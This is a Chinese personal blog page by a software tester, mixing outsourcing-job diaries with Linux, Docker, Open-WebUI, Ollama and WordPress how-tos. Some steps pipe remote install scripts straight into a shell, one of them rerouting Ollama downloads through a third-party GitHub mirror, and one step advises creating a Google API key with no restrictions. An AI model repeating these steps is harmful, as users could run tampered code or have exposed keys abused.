# SaiitaのBlog > 软件测试工程师 | IT技术分享 | 华为外包经验 | 杭州周边游玩 | 技术生活分享 > Admin Email: chenghoufeng@hotmail.com ## 文章 ### 杭州西兴大桥断流改造,记录最后影像 这周日,到老婆店里逛逛,顺便拍了张三桥断流第二天的照片; 杭州西兴大桥断流 为进行桥梁提升改造,杭州西兴大桥(钱江三桥)已于2025年11月22日开始实施断流施工,听说新桥要30个月建好。 所以乘着周末到钱塘江拍下最后的杭州西兴大桥;西兴大桥还是比较好看的; 昨天已经开始封路了; 远处的三桥-西兴大桥可见的 钱塘江边的银杏树 ### 【杭州】外包仲裁败诉,降薪协议藏陷阱 今天得知外包待岗的同事仲裁输了,目前已经离职一个多月,因为之前签的降薪协议里有个条款,记得好像是支持公司的待岗要求和薪资结构; 当时我签的时候,也看到了这个条款,只顾着签字,没仔细看,聊了一会,说是只是降薪,没有其他要求,如果不签这个协议,会要求离职(举例了一些工资高的同事,不签降薪协议,要求离职); 想想这里还是存在了一个非常大的坑在里面,工资差额仲裁也不支持了; 待岗仲裁的话,N+1也只是基本工资; 倒是社保和公积金支持全部补缴; ### Ubuntu 24.04下使用Docker部署Dify:完整配置指南 从Dify的GitHub官网拉取代码 Dify官网 复制dify的地址 在Ubuntu 24.04 合适的目录下-下载dify代码 git clone https://github.com/langgenius/dify.git 启动dify的docker容器 启动前需要把.env.example文件改为.env cp .env.example .env 进入dify/docker文件目录下,运行docker命令行启动dify docker-compose up -d 等dify启动成功后,在浏览器上输入http://IP ,就可以登陆到dify页面,进行设置账号操作 修改默认的dify端口 如果dify的80和443端口已经被占用,就需要修改默认dify的端口,默认端口的环境变量在.env文件里; 只需要修改下面的2个配置,初始配置项是80和443 EXPOSE_NGINX_PORT=80 EXPOSE_NGINX_SSL_PORT=443 ### 解决WPJAM插件Rewrite规则导致的404问题 恢复Rewrite 规则优化的原因 原因一: Rewrite 规则优化其实是负优化,导致了很多问题,尤其影响了GooGle Search Console 收录,需要让google 重新收录404的URL; 原因二: 同时也是为了BlogsClub 能更新我的文章 Rewrite 规则优化操作步骤和GooGle Search Console 收录影响具体原因 WPJAM插件某些优化并不是最优解,而且会有很多搜索引擎收录问题,从而影响SEO; 比如WPJAM插件Rewrite 规则优化: 移除日期 Rewrite 规则 移除留言 Rewrite 规则 移除分类 Feed Rewrite 规则 上面移除的规则会导致wordpress 默认的URL返回大量的404; 比如: 移除日期 Rewrite 规则,移除会导致https://www.saiita.com.cn/2025/10 返回404; 谷歌搜索引擎相关feed的URL 也会返回大量的404等等; 所以Rewrite 规则优化,其实是负优化,wordpress 存在的Rewrite 规则是有它的存在的原因,并不需要进行优化; Rewrite 规则优化恢复 恢复的办法是再部署一个wordpress 网站,在新网站安装WPJAM插件插件,开启Rewrite 规则,通过AI对比Rewrite 规则列表里的正则表达式,整理出优化后的Rewrite 规则,然后再一个一个把优化掉的Rewrite 规则添加回去; 规则优化的相关Rewrite 分类目录 Feed 正则查询lndex.php?category_name=$matches[1]&feed=$matches[2]category/(.+?)/feed/(feed|rdf|rss|rss2|atom)/?$lndex.php?category_name=$matches[1]&feed=$matches[2]category/(.+?)/(feed|rdf|rss|rss2|atom)/?$ 标签 Feed 正则查询index.php?tag=$matches[1]&feed=$matches[2]tag/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$index.php?tag=$matches[1]&feed=$matches[2]tag/([^/]+)/(feed|rdf|rss|rss2|atom)/?$ 文章格式 Feed 正则查询index.php?post_format=$matches[1]&feed=$matches[2]type/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$index.php?post_format=$matches[1]&feed=$matches[2]type/([^/]+)/(feed|rdf|rss|rss2|atom)/?$ 搜索 Feed 正则查询index.php?s=$matches[1]&feed=$matches[2]search/(.+)/feed/(feed|rdf|rss|rss2|atom)/?$index.php?s=$matches[1]&feed=$matches[2]search/(.+)/(feed|rdf|rss|rss2|atom)/?$ 作者 Feed 正则查询index.php?author_name=$matches[1]&feed=$matches[2]author/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$index.php?author_name=$matches[1]&feed=$matches[2]author/([^/]+)/(feed|rdf|rss|rss2|atom)/?$ 日期 Feed 正则查询index.php?year=$matches[1]&monthnum=$matches[2]&day=$matches[3]&feed=$matches[4]([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/feed/(feed|rdf|rss|rss2|atom)/?$index.php?year=$matches[1]&monthnum=$matches[2]&day=$matches[3]&feed=$matches[4]([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/(feed|rdf|rss|rss2|atom)/?$ndex.php?year=$matches[1]&feed=$matches[2]([0-9]{4})/feed/(feed|rdf|rss|rss2|atom)/?$ndex.php?year=$matches[1]&feed=$matches[2]([0-9]{4})/(feed|rdf|rss|rss2|atom)/?$ 评论 Feed 正则查询index.php?&feed=$matches[1]&withcomments=1comments/feed/(feed|rdf|rss|rss2|atom)/?$index.php?&feed=$matches[1]&withcomments=1comments/(feed|rdf|rss|rss2|atom)/?$ 全局 Feed 正则查询index.php?&feed=$matches[1]feed/(feed|rdf|rss|rss2|atom)/?$index.php?&feed=$matches[1](feed|rdf|rss|rss2|atom)/?$ 附件 Feed 正则查询index.php?attachment=$matches[1]&feed=$matches[2][0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/attachment/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$index.php?attachment=$matches[1]&feed=$matches[2][0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/attachment/([^/]+)/(feed|rdf|rss|rss2|atom)/?$ 页面 Feed 正则查询index.php?pagename=$matches[1]&feed=$matches[2](.?.+?)/feed/(feed|rdf|rss|rss2|atom)/?$index.php?pagename=$matches[1]&feed=$matches[2](.?.+?)/(feed|rdf|rss|rss2|atom)/?$ 完整日期路径 (年/月/日) 正则查询index.php?year=$matches[1]&monthnum=$matches[2]&day=$matches[3]&feed=$matches[4]([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/feed/(feed|rdf|rss|rss2|atom)/?$index.php?year=$matches[1]&monthnum=$matches[2]&day=$matches[3]&feed=$matches[4]([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/(feed|rdf|rss|rss2|atom)/?$ 月份归档 (年/月) 正则查询index.php?year=$matches[1]&monthnum=$matches[2]&feed=$matches[3]([0-9]{4})/([0-9]{1,2})/feed/(feed|rdf|rss|rss2|atom)/?$index.php?year=$matches[1]&monthnum=$matches[2]&feed=$matches[3]([0-9]{4})/([0-9]{1,2})/(feed|rdf|rss|rss2|atom)/?$ 日期路径分页 正则查询index.php?year=$matches[1]&monthnum=$matches[2]&day=$matches[3]&paged=$matches[4]([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/page/?([0-9]{1,})/?$index.php?year=$matches[1]&paged=$matches[2]([0-9]{4})/page/?([0-9]{1,})/?$ 附件日期路径 正则查询index.php?attachment=$matches[1][0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/attachment/([^/]+)/?$index.php?attachment=$matches[1]&tb=1[0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/attachment/([^/]+)/trackback/?$index.php?attachment=$matches[1]&feed=$matches[2][0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/attachment/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$index.php?attachment=$matches[1]&feed=$matches[2][0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/attachment/([^/]+)/(feed|rdf|rss|rss2|atom)/?$ 评论分页路径 正则查询index.php?attachment=$matches[1]&cpage=$matches[2][0-9]{4}/[0-9]{1,2}/[0-9]{1,2}/[^/]+/attachment/([^/]+)/comment-page-([0-9]{1,})/?$index.php?attachment=$matches[1]&cpage=$matches[2].?.+?/attachment/([^/]+)/comment-page-([0-9]{1,})/?$ 页面评论路径 正则查询index.php?pagename=$matches[1]&paged=$matches[2](.?.+?)/comment-page-([0-9]{1,})/?$ ### Open-WebUI首次调用硅基流动AI响应缓慢的解决方案 在使用Open-WebUI 过程中发现一个非常奇怪的问题,就是不打卡clash 调用AI提供商的API 的时候,回复的非常慢,有次都要1个小时后才有结果返回,只要回复成功,后面再次调用的时候就不会很慢; 但是首次使用openwebui,打开了clash (非openwebui的部署环境)后,回复速度非常的快; 之前怀疑过open-webui 没有优化好,就配置了数据库,redis,向量数据库等,查看openwebui 日志 也没发现过问题,貌似并没有起到效果; 也查看了防火墙,是否有接口被拦截了,发现也没有接口被防火墙拦截掉; 也不知道使用open-webui 的环境是不是有接口URL 需要访问外网,才能正常使用,还是免费开源项目故意设计的问题; 解决方法: 1、目前只能是打开clash使用; 2、最新解决方法:应该是Ubuntu 24.04 环境clash 代理问题;最终解决办法是在环境变量里添加绕过代理的设置(no_proxy=Ubuntu 环境的外网IP和open-webui 外网域名),同时clash要开启全局代理;具体操作方法如下: # 在Ubuntu 24.04 环境下执行下面的命令行,添加no_proxy环境变量 export no_proxy=192.168.31.2,ai.saiita.cn 或者在open-webui 添加systemctl 里no_proxy环境变 3、2025年11月30日:还是要开着clash,才能正常使用,搞不懂; open-webui 环境变量说明 no_proxy 类型: str 描述: 列出不应使用代理的域扩展名(或 IP 地址),用逗号分隔。例如,将 no_proxy 设置为 '.mit.edu' 确保在访问来自 MIT 的文档时绕过代理。 ### 谷歌广告自动添加实验,还无法取消 ⁉️今天打开网站文章突然发现文章底部有谷歌广告出现?最近都没添加这个位置的广告啊; 💢突然出现的谷歌广告位置 ⁉️登陆谷歌广告,发现有个实验正在运行,我也没设置啊? 打开正在运行的实验,还无法取消;太特么无法无天了;关闭全部广告算了,还治不了谷歌广告! 💢我什么时候添加实验了 ❗关闭不掉的谷歌实验 最后才发现可以关闭谷歌广告实验,就是在谷歌管理页面-实验-您已保留原始设置(玩文字游戏呢) ### 解决 WordPress WPJAM插件改动设置,影响SEO的问题 原因: 站长工具查询关键字全部都没了,之前还有100左右的关键字,百度权重也从1降到0; 貌似WPJAM插件有配置改动后,wordpress 的固定链接(URL)会出现问题,影响了SEO和搜索引擎收录; 1)分类目录 问题: WPJAM插件的优化设置-增强优化-开启分类链接简化后,启动插件,禁用其他插件,会导致文章URL 返回404,这时候需要手动设置优化设置-增强优化-关闭/开启分类链接简化后,非常麻烦,而且有时候会忘记设置,导致一段时间文章URL都是返回404; 关闭分类链接简化后,分类目录有2种目录接口 /category/note/jeep_renegade /note/jeep_renegade 负面影响:分散权重 解决办法:301 重定向到固定的URL格式 目前不知道分类目录要不要加/category,文章的URL导致没有/category,只有分类目录的URL会有/category 2)标签 问题: WPJAM插件的分类设置-分类数字固定链接,开启标签,分组后,标签和分组URL都是带标签和分组的ID 中文标签的URL是/tag/tagID,不是/tag/tag别名,中文的tag会有中文转码问题; 英文标签的URL没有这个问题; 负面影响(开启分类数字固定链接): 中文(或分组)的/tag/tag别名 会404 影响用户体验和SEO(全部都返回404) 解决办法:取消分类设置-分类数字固定链接设置,通过wordpress 数据表wp_terms的数据, 设置301 重定向到/tag/tag别名;比如/tag/1 301到 /tag/杭州 3)URL 结构问题 标签还是用tag别名,要好点,不能用tag ID;分类和文章URL层级不能过深,最多只能2~3层; ### Claude Code 调用GLM-4.6 和DeepSeek AI模型效果对比 💢 这几天使用Claude Code 改几个wordpess 插件功能,分别尝试调用了GLM-4.6和DeepSeek,效果真的是差距非常大; ❌ GLM-4.6 能做出基本功能,但是会到处乱改代码,修改A功能,会跑到其他地方修改B功能,改了之后,要恢复非常困难,一直就不修改,恢复不了,给它明确修改步骤,修改效果,都不能按照要求恢复B功能的代码; ✅ DeepSeek 大部分上修改和编辑代码目的清晰,不会到处乱改功能,效果也十分好; ❗ 结论 GLM-4.6 来改代码,真的是个非常大的灾难;修改代码胡作非为;浪费大量时间,不是有个Claude Code 包月套餐,根本就不会用这个AI模型;只能用作非常小的功能修改; Deepseek 缺点是没有Claude Code 包月套餐,费用会比GLM-4.6 的高; ### 不需要打开浏览器无痕模式就可以刷新网站页面 在测试网站页面时,浏览器会缓存相关js,css等文件,导致文件修改后,浏览器不会实时更新,这样会看不出来是不是修改了; 可以用Ctrl+F5 强制刷新页面,清掉页面缓存; 就不需要使用浏览器的无痕模式; ### coder-server 安装和更新 coder-server 是可以在浏览器上进行编码的开源项目;可以使用AI插件; ⏬GitHub 地址⏬ 安装和更新都是使用同一个命令行 coder-server 安装 curl -fsSL https://code-server.dev/install.sh | sh coder-server 安装更新 curl -fsSL https://code-server.dev/install.sh | sh 效果 ### Open-Webui+python虚拟环境升级脚本 #!/bin/bash path=/mnt/256G/docker/open-webui cd ${path} # 进入虚拟环境 source venv/bin/activate # 停止open-webui systemctl stop openwebui # 更新open-webui pip install -U open-webui # 启动open-webui systemctl start openwebui 在open-webui根目录下创建update.sh输入上面的脚本,然后执行chmod +x update.sh;运行update.sh就可以在python虚拟环境里更新open-webui; 解决每次升级,都要手动输入命令行的问题; 官方pytho虚拟环境安装/更新open-webui网址 ### 【教程】解决ollama安装或者更新网速慢的问题 更新慢一般都是网络问题,我是因为更新了clash最新版本后,导致网络十分的不稳定,经常被拒绝连接; 解决方法是使用github加速代理,wget下载命令行替换curl;需要创建update.sh脚本,一键执行更新或者下载ollama; VERSION版本需要在github项目上查看 如果使用网络代理需要关闭; update.sh脚本代码 #!/bin/bash # 文件路径 FILE="ollama_install.sh" VERSION='v0.11.10' # 下载ollama安装脚本 rm ${FILE} curl -fsSL https://ollama.com/install.sh -o ${FILE} # 修改 URL sed -i 's|https://ollama.com/download/ollama-linux|https://gh.llkk.cc/https://github.com/ollama/ollama/releases/download/'"${VERSION}"'/ollama-linux|g' ${FILE} # 修改脚本中的curl命令为wget sed -i 's|curl --fail --show-error --location --progress-bar|wget -c --progress=bar --timeout=60 --tries=30 --waitretry=30 -O -|g' ${FILE} # 执行ollama安装脚本 chmod +x ${FILE} ./${FILE} ### 解决clash-verge-rev 最新版本不稳定 ⏬clash-verge-rev GitHub官网地址⏬ 我是建议不要升级clash-verge-rev最新版本,最新版本十分的不稳定;更新ollama或者其他软件,会经常连接被拒绝; 最稳定的版本是2.3.2,这个版本没有问题; 下面就是怎么卸载和安装2.3.2版本; 1、删除和禁止clash_mihomo.service服务开机启动 sudo systemctl stop clash_mihomo.service # 停止当前运行的服务 sudo systemctl disable clash_mihomo.service # 禁止它开机自启 sudo rm /etc/systemctl/system/clash_mihomo.service 2、重新加载 systemd 配置 sudo systemctl daemon-reload 3、卸载clash-verge apt purge clash-verge 4、下载2.3.2版本 cd /tmp wget https://github.com/clash-verge-rev/clash-verge-rev/releases/download/autobuild/Clash.Verge_2.3.2+autobuild.0911.1c5534a_amd64.deb 5、安装clash-verge chmod +x Clash.Verge_2.3.2_amd64.deb cp Clash.Verge_2.4.3_amd64.deb /tmp apt install /tmp/Clash.Verge_2.3.2_amd64.deb 6、其他问题 之前已经配置过clash代理,现在部署2.3.2版本后,Ubuntu 系统clash前端打不开了,但是clash能用 【最新】clash 更新到2.4.3版本,上面的问题已经解决了 ### 【教程】Python虚拟环境安装Open-WebUI Python虚拟环境优点:不会受其他服务依赖安装影响,避免open-webui 运行异常; 1、创建虚拟环境 python3 -m venv venv 2、激活虚拟环境 source venv/bin/activate 3、安装Open WebUI open-webui serve 4、虚拟环境更新Open WebUI 在Open WebUI 虚拟环境里使用下面的命令行进行更新 pip install -U open-webui 5、设置开机启动 在/etc/systemd/system/目录下面创建openwebui.service文件 填入下面的配置 [Unit] Description=Open-webui Service Before=network.target [Service] Type=simple User=root Group=root Restart=always RestartSec=3 WorkingDirectory=/path/open-webui ExecStartPre=/usr/bin/python3 -m venv venv Environment=PATH=/usr/bin:/usr/local/bin EnvironmentFile=/path/open-webui.env ExecStart=/bin/bash -c 'source venv/bin/activate && open-webui serve --port 8080' [Install] WantedBy=multi-user.target 启动open webui 服务 systemctl daemon-reload systemctl start openwebui ### 【教程】开源项目如何申请微软账号登陆 open-webui开源项目开启微软登陆;需要应用程序(客户端)ID ,目录(租户)ID,客户端密码; 一、登陆微软官网,创建应用程序 登陆下面的微软网站,选择应用注册👉新注册,获取应用程序(客户端)ID ,目录(租户)ID; 注册应用程序,填入名称,受支持的账号类型,选择任何组织任何组织目录(任何 Microsoft Entra ID 租户 - 多租户)中的帐户; 重定向URL的选择平台选择Web;重定向选择https://ai.saiita.cn/oauth/microsoft/callback 返回应用注册,获取应用程序(客户端)ID 进入已创建的应用程序,在概述里能获取 到应用程序(客户端)ID ,目录(租户)ID 二、创建证书和密码 在应用程序页面,选择证书和密码;创建客户端密码 点击复制客户端密码 三、open-webui 项目开启微软登陆 在open-webui(或其他项目)环境变量填入对应的值; ### 【教程】开源项目如何申请谷歌账号登陆 申请谷歌登陆需要有CLIENT_ID和CLIENT_SECRET字段 一、创建OAuth 2.0 客户端 ID 登陆下面的Google网站,登陆Google账号,申请OAuth 2.0 客户端 ID 创建凭据👉OAuth 2.0 客户端 ID 选择应用类型,如果是网站使用Google账号登陆就选择Web应用; 创建好后,凭证页面有客户端ID 进入OAuth 2.0,设置已授权的JavaScript来源和已授权的重定向URL 已授权的JavaScript来源就是要用Google账号登陆的域名,已授权的重定向URL填入https://域名/oauth/google/callback(根据开源项目说明文档具体设置) 二、申请API Key Google 凭证页面,选择创建平均,下拉框选择API密钥 会有弹框现在API 密钥 进入API密钥设置页面,应用限制选择无,API限制选择不限制密钥,然后保存 三、项目设置 在项目中开启Google谷歌账号登陆,然后设置上面申请到的2个字段; 例子:open-webui登陆 ### 2025年家用电脑配置升级 2025电脑和机箱升级,之前是用ATX主板的3070显卡,这样2台电脑都在开机,想买个5060TI,只开一台ITX服务器,用5060TI显卡本地跑AI 模型,也会有一点点提升,同时也不需要同时开2台电脑; 所以主要是升级了机箱和ITX配置;不过升级后台式机配置好几个硬盘识别不了,不知道是不是电源的问题 机箱 追风者(PHANTEKS) P600S钛金灰; 升级到了🔼追风者(PHANTEKS) 719TLG 钛金灰; 台式机配置(没升级) 华硕 ROG STRIX Z490-A GAMING吹雪主板 NOCTUA NH-U12A CPU散热器 英特尔(Intel)10代 酷睿 i7-10700K 美商海盗船(USCORSAIR)32GB(4×8G)套装 七彩虹(Colorful)iGame GeForce RTX 3070 Ultra OC 8G 1725-1770Mhz ITX配置(服务器) 🔼玩家国度ROG STRIX B760-I GAMING WIFI主板  🔼英特尔(Intel) i5-12490F 英睿达(Crucial)8GB DDR5 4800频率、英睿达(Crucial)16GB DDR5 4800频率 🔼ID-COOLING (酷凛)下压式风冷散热器 4热管 铜底 适用LGA1200/LGA1700/AM4/5 ITX机箱 NAS IS-47-XT WHITE 🔼技嘉(GIGABYTE)5060Ti 16G显卡 魔鹰 GeForce RTX 5060 Ti Gaming OC 16G DLSS4 旧电脑配置 ### Docker 设置网络代理 💢更新docker 时报错的问题 错误信息: 1 root@saiita-System-Product-Name:/mnt/256G/docker/dify/docker# docker compose up -d [+] Running 3/3 ✘ web Error context canceled 20.2s ✘ api Error context canceled 20.2s ✘ worker Error Get "https://registry-1.docker.io/v2/ ": net/http: request canceled while waiting for connection (Client.Timeout exceeded while await... 20.2s Error response from daemon: Get "https://registry-1.docker.io/v2/ ": net/http: request canceled while waiting for connection (Client.Timeout exceeded while awaiting headers ✅解决方法 在/etc/docker/daemon.json 配置文件里添加下面的配置项; "proxies": { "http-proxy": "http://127.0.0.1:7897", "https-proxy": "http://127.0.0.1:7897" } 完整配置 { "proxies": { "http-proxy": "http://127.0.0.1:7897", "https-proxy": "http://127.0.0.1:7897" } } 重启docker sudo systemctl daemon-reload sudo systemctl restart docker ### 【教程】开源项目如何申请Github账号登陆 可以用于开源项目登陆Github选项; 1、登陆github 2、点击头像 点击右上角的头像 3、进入Settings 4、进入Developer Settings 左侧菜单栏,最后一个Developer Settings 5、进入OAuth Apps 6、点击New OAuth App 输入Application name等信息; 7、获取Client ID和Client secret 8、在相关项目设环境变量把Client ID和Client secrets填入 ### 【记录】🚴‍♂️ 电动车维修踩坑记:龙头摇晃 + 刹车失灵?原来是安装不专业惹的祸! 🚴‍♂️ 电动车维修踩坑记:龙头摇晃 + 刹车失灵?原来是安装不专业惹的祸! 去年和别人撞车后,维修换了轮毂、七件碗、三星柱和轮胎 🛠️... 但骑行时龙头 轻微左右晃,一点都不丝滑 😩!更奇怪的是,轮毂和轮胎竟然有缺失部分,明明撞得不该这么严重啊 🤔? 这个月又出幺蛾子—— 右边刹车按下去弹不起来 🚨!赶紧去了专业的 九号专卖店 检查 🔍。师傅说刹车没问题,但换了油门,还重新定了七件碗(解决龙头不丝滑+摇晃问题)✅。 最终 换了七件碗后问题解决 🎉!真相大白:去年在滨江维修时,七件碗装得高低不平,完全是不专业操作导致的 😤! ### 【教程】免费FRP服务器,无需公网IP-Cloudflare 可以用于无公网IP的内网穿透功能,缺点是国内有点卡,但是还是在接受范围内; 首先要准备1个域名和本地服务器安装docker 1、登陆cloudflare后台 2、选择左边菜单栏Zero Trust 3、选择网络 4、选择Tunnels 5、选择创建隧道 选择cloudflared👉为隧道命名👉保存隧道 6、选择环境(docker) 复制cloudflare提供的命令行,在本地环境部署cloudflare 7、下一步路由隧道 这个步骤是添加公网访问域名和内网服务 8、访问公网 需要等一会生效,然后就可以输入公网域名进行访问 ### 软通动力待岗记录:详细待岗经历与心得分享 记录软通动力待岗。 ❗01、待岗出项通知 ❗02、待岗第一天 ❗03、待岗第二天 ❗04、待岗第三天 ❗05、待岗第七天 ❗06、待岗第九天 ❗07、待岗第一个月 ❗08、待岗第五周 ❗09、待岗第六周 ❗10、待岗第七周 ❗11、待岗第八周 ❗12、待岗第九周 ❗13、待岗第十周 ✅学习计划 目前还是跟无头苍蝇一样,没有目标; 💢软通动力 只从上周发了《不同意出项通知书》和《限期补齐劳动报酬通知书》邮件后,终于有人过来谈话了; 谈话内容: 等新项目 谈赔偿(估计只有0.5n) 我选择了等新项目,不知道对不对;进新项目概率未知 这周没发《不同意出项通知书》和《限期补齐劳动报酬通知书》邮件; 🤷‍♂️最后得知有1个已经待岗半年(太老实?),是不是跟不发邮件或者发邮件的频率低的原因? ❗14、待岗第十一周 ✅学习计划 学习了python 接口自动化,B站学习视频知识点很浅,用于工作有限; 用manuns写wordpress 插件越来越差劲了,同一个BUG好几轮都不会解决; 解决了open-webui google 联网失败问题; 💢软通动力 这周发了工资,第二天就只发了《限期补齐劳动报酬通知书》邮件;月底和8月初新项目未知 ❗14、待岗第十二周 ✅学习计划 又没学习目标了 学习了python pytest 框架;发现网络上免费的教程十分的基础,还不如向AI提问式学习; 💢软通动力 2025年7月22日:今天做电梯上楼,遇到来软通面试的,刚出电梯,让我先出电梯,突然间怎么感觉有点幼稚,电视剧看多了吧! 不同意出项邮件没发,不确定是不是还要继续发; ❗15、待岗第十三周 2025年8月9日 ✅学习计划 继续重新学习python基本语法和测试自动化 💢软通动力 还是只是口头承诺有项目,但是一直不通知面试 这周要求把年假请掉 这周有上海的项目(拒绝掉了)。发现只要发《不同意出项》邮件,软通就会象征性的给项目,但是不给面试机会;根据这3个月发现软通不会给新项目,即使给了新项目也会在工作上找理由裁掉; ❗15、待岗第14~15周 ✅学习计划 没学习目标,没方向 💢软通动力 软通推荐新项目已经没有诚心(每月发《不同意出项》邮件,就敷衍的推新项目,但是没有面试机会) 小红书已经发帖华为云大规模裁员 ❗16、待岗第16周 ✅学习计划 python没学习目标,没方向; 部署和解决了ai-mauns 的问题; 💢软通动力 这周面试了,面试通过了,但是要降工资1000元;ICT部门,运维岗位,基本每周要熬夜到凌晨;第二天拒绝了,降工资不知道有什么问题协议,跟降薪协议一样; ❗17、待岗第17周 ✅学习计划 还是得尽快熟悉python,并用于测试 💢软通动力 软通那边的人打电话过来催入项目,还是被我拒绝了; ❗17、待岗第17周 ✅学习计划 继续学习python基础知识 💢软通动力 目前没有项目 现在学习pyton感觉好尴尬,不知道现在学习pyton的作用是什么,感觉现在学习python没用,不学感觉就真的没用了; ❗18、待岗第18周 ✅学习计划 继续学习python基础知识 💢软通动力 继续发邮件 ❗18、待岗第18周 ✅学习计划 继续学习python基础知识 💢软通动力 继续发邮件 发现不发邮件,公司完全不管 ❗19、待岗第19周 国庆节 ✅学习计划 学习3D建模Blender 学习python ❗20、待岗第20~25周 ✅学习计划: 学习python基础知识 学习python自动化,性能 wordpress seo知识学习 wordpress URL结构整理,tag的URL 301 重定向 用AI,写了个wordpress 插件 学习困境:虽然在学习python,但是没有用到的地方,只是学习了基础知识,没有成长/提升过程和空间;这个必须的要突破; 💢软通动力 这周有pyton 自动化的项目(但是没信心,拒绝了); ### 阿里云OSS 桶有其他莫名其妙文件原因 ⏬未知文件夹⏬ ⏬未知文件⏬ 这个现象出现过好几次,删除了后面还是会出现;为了找这个是怎么进OSS桶里的,开了OSS日志,查看日志只有get请求,没有put和post请求;也是不知道怎么进去的; 今天早上提交了工单,客服说是OSS回源加的文件; 数据管理👉镜像回源 去掉404回源,会导致wordperss CDN用不了; 问题解决的方法:写1个脚本,定时清除404回源的文件,并设置白名单,白名单里的文件不删除;或者监控404的文件和文件夹,并立即删除; ### 软通动力,坐班(待岗)第九周 ✅学习计划 python学习不动了,找的学习资料是几年前的,过时了,学习AI+python 外包又用不到,没方向(主要是没有目标); 这周本想写1个模型调用browser user,可以执行任务操作浏览器,然后发现有个mcp的server可以直接用,写了也是白写; 💢软通动力 这周一发了《不同意出项通知书》和《限期补齐劳动报酬通知书》,然后第二天就又换位置,第三天再次换了位置,后面有打印机,经常有人过来打印,单独做一个位置,签了位置确认; 软通动力申请劳动合同查看,一直都是在审批中,6月27日申请的,到现在还没审批通过; 因为软通动力劳动合同下载页面空白; ### 如何快速从Bing搜索引擎删除指定URL?3步搞定下架请求 1. 💢引言 简要说明为什么需要删除Bing中的URL(如:过期页面、隐私泄露、敏感内容等)。 强调Bing官方提供工具可快速操作,无需技术背景。 2. ✅删除URL的3个步骤 ✅步骤1:登录Bing站长工具 访问Bing Webmaster Tools 。 用Microsoft账户登录(若无账号需先注册)。 添加并验证你的网站(若未操作过)。 ✅步骤2:提交URL删除请求 进入「仪表盘」👉 选择目标网站 👉点击配置 👉 阻止URL 👉 添加要阻止的URL 输入需删除的完整URL(支持单个或批量提交)。 选择URL类型👉页面,阻止类型👉URL与缓存 ✅步骤3:确认并等待处理 提交后Bing通常会在几小时至24小时内生效。 可通过「移除请求状态」查看进度。 3. ❗❗❗注意事项 临时屏蔽 vs 永久删除: 临时屏蔽(约90天):仅隐藏缓存,原页面仍可被重新抓取。 永久删除:需确保页面返回404或410状态码,否则可能重新收录。 适用范围:仅对Bing搜索生效,Google需另操作。 4. ❗常见问题 Q:提交后URL仍能搜索到?A:检查页面是否已失效,或尝试清除Bing缓存(工具中提供选项)。 Q:未验证网站如何删除?A:通过Bing反馈页面 提交请求,但效率较低。 5. ❗结语 提醒定期检查搜索引擎收录情况,建议配合robots.txt或noindex标签预防问题。 ### 停止并删除dockers 网络 在Ubuntu 24.04 系统上部署了ai-manus,目前这个开源项目没有用户登陆功能,开放到公网的时候,有被其他人使用的风险,准备关掉docker 容器,然后发现有个docker 网络正在被使用,关闭不掉; [+] Running 4/4 ✔ Container ai-manus-frontend-1 Removed 10.2s ✔ Container ai-manus-backend-1 Removed 0.8s ✔ Container ai-manus-sandbox-1 Removed 0.0s ! Network manus-network Resource is still in use 0.0s 可以使用下面的命令行找到docker 容器,stop掉后,再执行docker compose down docker network inspect manus-network | grep -A 5 "Containers" docker stop 容器名称 获取name值,直接stop docker stop $(docker network inspect manus-network | grep -A 5 "Containers" | grep "Name" | awk -F'"' '{print $4}') 再次使用的可以,进入ai-manus目录执行docker compose up -d ai-manus目前有manus功能的80%,但是有个缺点就是消耗tokens 太凶了,跟manus使用没什么区别; ### 软通动力,坐班(待岗)第八周 ✅学习计划 python 学习,还是受AI影响,主要是AI太方便了,感觉学习python 吃力不讨好,学习成本太高 学习了browser use ,可以使用模型,给模型下发任务,执行浏览器操作步骤;可以用于web自动化测试,效果未知; 通过学习python和browser use创建了dify自定义工具,目前可以执行浏览器内容的获取和分析 💢软通动力 目前还是跟之前一样,《不同意出项通知书》和《限期补齐劳动报酬通知书》还是没有发;目前困难部分就是不知道发给谁,还是随便发,来表示自己对待岗和只发基本工资表达不同意? 最后还有一点,在华为工作的时候要保留工作证据,打卡记录和加班证据; ### 解决宝塔部署泛域名SSL证书提示不安全问题 ❗ 现象:宝塔导入A泛域名SSL证书,浏览器上访问A域名,总提示不安全;B域名使用宝塔申请的证书访问正常;但是在阿里云另外一个服务器上使用A泛域名SSL证书,浏览器不会提示不安全; ✅ 原因:A域名的证书DNS的TXT解析存在问题,有个TXT解析,主机记录类似_acme-challenge,这个解析到了之前的1个阿里云公网IP;只要删除掉这个TXT解析域名,清空浏览器缓存,再次访问A域名就能解决问题; ✅ 发现问题的过程:发现自己买的泛域名SSL证书在浏览器上总提示不安全;就尝试了宝塔上申请证书,但是申请证书失败,提示内容显示使用的是之前的阿里云服务器公网IP地址,就想到了有可能是阿里云DNS域名解析有问题; ### 软通动力,坐班(待岗)第七周 ✅学习计划 python 基础语法和进阶已经学完一遍 AI+测试,环境已经部署完,能正常运行 DIFI + Agent 学习中.... 💢软通动力 软通动力目前没有沟通,没动静; 这周应该要发《不同意出项》和《期限补齐劳动报酬通知书》,目前还没发,计划下周一发送,而且频率是每周一次,目前是一个月一次; 🔻限期补齐劳动报酬通知书🔻 